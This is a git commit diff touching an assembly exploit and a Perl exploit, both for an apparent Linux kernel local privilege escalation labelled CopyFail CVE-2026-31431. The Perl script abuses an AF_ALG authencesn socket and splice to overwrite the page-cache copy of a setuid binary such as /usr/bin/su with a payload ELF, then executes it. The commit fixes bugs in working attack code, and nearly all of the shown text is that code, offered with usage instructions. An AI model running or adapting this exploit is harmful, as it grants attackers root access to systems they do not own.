This commit is contained in:
Axura 2026-05-18 16:50:36 +08:00
parent 31ac27ea2c
commit baa990a599
3 changed files with 202 additions and 25 deletions

View file

@ -153,11 +153,11 @@ open_authencesn_socket:
; rsi = pointer to the next 4-byte payload chunk.
queue_aad:
mov dword [aad], 0x41414141
mov dword [aad_buf], 0x41414141
mov eax, [rsi]
mov [aad + 4], eax
mov [aadaad_buf + 4], eax
lea rax, [rel aad]
lea rax, [rel aadaad_buf]
mov [iov], rax
mov qword [iov + 8], 8
@ -336,7 +336,7 @@ saved_op_fd resq 1
pipefd resd 2
splice_off resq 1
splice_len resq 1
aad resb 8
aadaad_buf resb 8
iov resq 2
msg_hdr resb 56
cbuf resb 88

View file

@ -1,18 +1,27 @@
#!/usr/bin/env perl
#
# CopyFail CVE-2026-31431 Linux LPE exploit, Perl version.
# Title : CopyFail CVE-2026-31431 Linux LPE exploit, Perl version.
# Date : 2026-05-15
# Author : Axura (@4xura) - https://4xura.com
#
# Usage:
# ------
# perl exploit.pl [target_path] [payload_elf]
# COPYFAIL_DEBUG=1 perl exploit.pl
# DEBUG=1 perl exploit.pl
#
# Defaults:
# target_path = /usr/bin/su
# payload_elf = ./payload.pwnkit.elf
# payload_elf = ./payload.elf
#
# Notes:
# ------
# Provided for educational purposes only. Use responsibly.
#
use strict;
use warnings;
use Config;
use Fcntl qw(O_RDONLY);
die "x86_64 Perl required\n" unless $Config{ptrsize} == 8;
@ -40,10 +49,9 @@ use constant {
ALG_SET_AEAD_AUTHSIZE => 5,
MSG_MORE => 0x8000,
O_RDONLY => 0,
};
my $DEBUG = $ENV{COPYFAIL_DEBUG} ? 1 : 0;
my $DEBUG = $ENV{DEBUG} ? 1 : 0;
sub ptr {
return unpack("Q<", pack("P", $_[0]));
@ -51,7 +59,19 @@ sub ptr {
sub xsyscall {
my ($name, @args) = @_;
my $ret = syscall(@args);
my $argc = scalar(@args);
my $ret;
if ($argc == 0) { $ret = syscall(); }
elsif ($argc == 1) { $ret = syscall($args[0]); }
elsif ($argc == 2) { $ret = syscall($args[0], $args[1]); }
elsif ($argc == 3) { $ret = syscall($args[0], $args[1], $args[2]); }
elsif ($argc == 4) { $ret = syscall($args[0], $args[1], $args[2], $args[3]); }
elsif ($argc == 5) { $ret = syscall($args[0], $args[1], $args[2], $args[3], $args[4]); }
elsif ($argc == 6) { $ret = syscall($args[0], $args[1], $args[2], $args[3], $args[4], $args[5]); }
elsif ($argc == 7) { $ret = syscall($args[0], $args[1], $args[2], $args[3], $args[4], $args[5], $args[6]); }
else { die "$name: unsupported syscall arity $argc\n"; }
die "$name: $!\n" if !defined($ret) || $ret < 0;
return $ret;
}
@ -78,11 +98,11 @@ sub open_authencesn_socket {
"authencesn(hmac(sha256),cbc(aes))"
);
xsyscall("bind(authencesn)", SYS_BIND, $tfm, $sockaddr_alg, length($sockaddr_alg));
xsyscall("bind(authencesn)", SYS_BIND, $tfm, ptr($sockaddr_alg), length($sockaddr_alg));
my $keyblob = pack("S< S< N", 8, 1, 16) . ("\0" x 32);
xsyscall("setsockopt(ALG_SET_KEY)",
SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_KEY, $keyblob, length($keyblob));
SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_KEY, ptr($keyblob), length($keyblob));
xsyscall("setsockopt(ALG_SET_AEAD_AUTHSIZE)",
SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 0, 4);
@ -110,21 +130,21 @@ sub queue_aad {
0
);
xsyscall("sendmsg(AAD)", SYS_SENDMSG, $op, $msg, MSG_MORE);
xsyscall("sendmsg(AAD)", SYS_SENDMSG, $op, ptr($msg), MSG_MORE);
}
sub splice_target_window {
my ($file_fd, $op, $target_offset) = @_;
my $pipebuf = "\0" x 8;
xsyscall("pipe", SYS_PIPE, $pipebuf);
xsyscall("pipe", SYS_PIPE, ptr($pipebuf));
my ($rfd, $wfd) = unpack("l< l<", $pipebuf);
my $splice_len = $target_offset + 4;
my $splice_off = pack("q<", 0);
xsyscall("splice(file -> pipe)",
SYS_SPLICE, $file_fd, $splice_off, $wfd, 0, $splice_len, 0);
SYS_SPLICE, $file_fd, ptr($splice_off), $wfd, 0, $splice_len, 0);
xsyscall("splice(pipe -> AF_ALG)",
SYS_SPLICE, $rfd, 0, $op, 0, $splice_len, 0);
@ -138,7 +158,7 @@ sub trigger_decrypt {
my $rx_len = $target_offset + 8;
my $rxbuf = "\0" x $rx_len;
my $ret = syscall(SYS_RECVFROM, $op, $rxbuf, $rx_len, 0, 0, 0);
my $ret = syscall(SYS_RECVFROM, $op, ptr($rxbuf), $rx_len, 0, 0, 0);
print " [-] recv() returned: $!\n" if $DEBUG && defined($ret) && $ret < 0;
}
@ -158,24 +178,24 @@ sub overwrite_4_bytes {
}
my $target = $ARGV[0] // "/usr/bin/su";
my $payload_path = $ARGV[1] // "./payload.pwnkit.elf";
my $payload_path = $ARGV[1] // "./payload.elf";
my $payload = read_payload($payload_path);
my $payload_len = length($payload);
print "[+] target : $target\n";
print "[+] payload : $payload_len bytes from $payload_path\n";
print "[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n";
my $file_fd = xsyscall("open(target)", SYS_OPEN, $target, O_RDONLY, 0);
sysopen(my $target_fh, $target, O_RDONLY) or die "open(target): $!\n";
my $file_fd = fileno($target_fh);
for (my $off = 0; $off < $payload_len; $off += 4) {
overwrite_4_bytes($file_fd, $off, substr($payload, $off, 4));
}
syscall(SYS_CLOSE, $file_fd);
close($target_fh);
print "[+] payload staged into page cache, executing target...\n";
my $arg0 = "su\0";
my $argv = pack("Q< Q<", ptr($arg0), 0);
syscall(SYS_EXECVE, $target, $argv, 0);
die "execve($target): $!\n";
my ($arg0) = ($target =~ m{([^/]+)$});
$arg0 //= $target;
exec { $target } $arg0;
die "execve($target): $!\n";